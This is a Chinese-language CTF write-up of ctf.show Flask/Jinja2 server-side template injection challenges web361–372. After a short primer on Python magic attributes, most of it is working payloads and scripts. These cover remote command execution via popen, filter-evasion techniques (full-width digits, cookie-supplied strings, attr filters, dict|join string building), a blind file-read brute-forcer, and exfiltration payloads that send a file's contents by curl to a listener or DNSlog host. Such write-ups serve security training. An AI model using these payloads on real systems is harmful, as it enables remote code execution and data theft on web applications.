学习链接:
做题参考:
前置知识
__class__ 返回该对象所属的类。py万物皆对象,比如某个字符串对象,而其所属的类为<class 'str'>
__base__ 以字符串形式返回一个类的父类
__bases__ 以元组形式返回一个类的全部父类
__mro__ 返回解析方法调用的顺序,即返回所有父类
__subclasses__() 返回这个类的所有子类
__init__ 初始化类,返回的类型是function
__globals__ 用于获取function所处空间下可使用的module、方法以及所有变量
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__str__() 返回描写这个对象的字符串,可以理解成是打印出来。
__getattribute__() 绕过关键字。实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 绕过[]。调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__builtins__ 内建名称空间,里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
current_app 应用上下文,一个全局变量。
g {{g}}得到<flask.g of 'flask_ssti'>
web361
没有过滤。
传入?name={{10*10}} ,回显100。
这里利用 os._wrap_close 类,写个脚本来找。
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://0778f666-ac38-4c4c-9eaf-651f8b2ee0d4.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
输出132
然后利用利用 .__init__.__globals__ 来找os类中的方法。init初始化,globals全局查找
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
其中能看到popen,于是利用其来执行命令
paylaod:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}
?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}
web362
过滤了数字。
1、可以全角数字代替正常数字,下面是转换代码
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
得到全角数字:
'0','1','2','3','4','5','6','7','8','9'
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
2、利用__builtins__:
可以用以下已有的函数,去找到__builtins__,然后用eval就可以了:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
这里从羽师傅那里学习到了一种新的姿势得到__builtins__:
?name={{x.__init__.__globals__['__builtins__']}}
?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
用{%%} :
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
web363
过滤了单双引号。
1、这里payload用的是request,request.args.a的值由GET传参a的值得到,从而实现绕过。其实也就相当于命令执行里面的拼接。
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
2、也可以考虑字符串拼接,这里用config拿到os:
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}
也可以先把chr给找出来,然后用chr拼接拿到os就不需要引号了:
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
拿到os后,最终payload:
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]['popen']('tac /flag').read()}}
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]['popen']('tac /flag').read()%}
web364
过滤了 引号 和 args。
1、可以用chr()函数绕过。
首先fuzz一下chr()函数在哪:
payload:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
发到brup的爆破模块。
接下来把这一串
{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
放到前面
原始payload是
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
接下来要用chr()进行替换,对照ascii表
'os'替换成:chr(111)%2bchr(115) //%2b是+
'cat ../f*'替换成:chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)
再把替换后的payload放在后面,两段拼在一起得到最终姿势
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
2、用request.values,但是发现post方法不被allow,所以改成cookie
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
web365
过滤了单双引号,还有中括号。request.cookies仍然可以用
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过,拿点绕过,拿__getitem__ 等绕过都可以。
使用request绕过的话可以这样:
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
web366
过滤了下划线
根据前置知识我们知道lipsum.__globals__ 含有os模块
本来的payload:{{lipsum.__globals__['os'].popen('ls').read()}}
中括号 用. 绕过。
但是__globals__这样的就构造不出来了,拿request绕过。
lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用flask自带的过滤器attr:
""|attr("__class__")
相当于
"".__class__
所以
lipsum|attr(request.cookies.a)
相当于
lipsum.__globals__
这样就可以去拿到os
payload:
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
web367
过滤了os
那就把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。
?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}
web368
过滤了大括号{{}} 。
使用{%%} 绕过,再借助print() 回显
payload:
?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
web369
过滤了request
1、变量重命名,这里直接用羽师傅的payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
这里的原理是,给不同的变量赋值,然后拼接成我们想要的命令。
下面逐行分析
构造po="pop"
#利用dict()|join拼接得到。
#dict() 函数用于创建一个字典;join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
{% set po=dict(po=a,p=a)|join%}
a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
构造ini="__init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
即chr=q.__init__.__global__.__getitem__.__builtins__.chr
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
打印q.__init__.__global__.__getitem__.__builtins__.open(file).read())
2、读文件盲注
import requests
import string
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
url ='''http://a4023da9-bc70-4324-a88e-d1b4e6087bb6.challenge.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2='''
s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
print(i)
for j in s:
x=flag+j
u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}'
r=requests.get(u)
if("1341" in r.text):
flag=x
print(flag)
break
3、反弹flag
电脑开启监听 nc -lvp 4567
http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}
cmd后面的值用脚本生成
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
web370
过滤了数字
1、全角数字绕过
把payload里的数字换成对应的全角数字:
'0','1','2','3','4','5','6','7','8','9'
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
2、构造数字,参考羽师傅的:
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
分析如下
几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接 构造coun=24
{% set coun=(cc~cccc)|int%}
同web369
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
3、暴力反弹
import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
k=''
t=list(set(t))
for i in t:
k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
return k
def fun2(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
t=list(set(t))
k=''
for i in range(len(s)):
if i<len(s)-1:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
else:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
return k
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)
监听 nc -lvp 4567 等待反弹flag。
直接py发送我没成功,把输出的payload手动发送就行了。
web371
过滤了print
1、使用web370的反弹脚本。
2、dnslog外带
?name=
{%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}
{%set k=dict(eeeeeeeee=a)|join|count%}
{%set l=dict(eeeeeeee=a)|join|count%}
{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}
{%set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}
dnslogyyds
{%endif%}
使用 http://dnslog.cn/ 网站,点Get SubDomain 直到生成不含数字的域名(因为过滤了数字哈。
然后更改上面的payload中
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
里的tpqdwr,改成网站生成的域名即可。
web372
过滤了count,可以用length替换
?name=
{%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}
{%set k=dict(eeeeeeeee=a)|join|length%}
{%set l=dict(eeeeeeee=a)|join|length%}
{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}
{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}
{%set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}
dnslogyyds
{%endif%}
|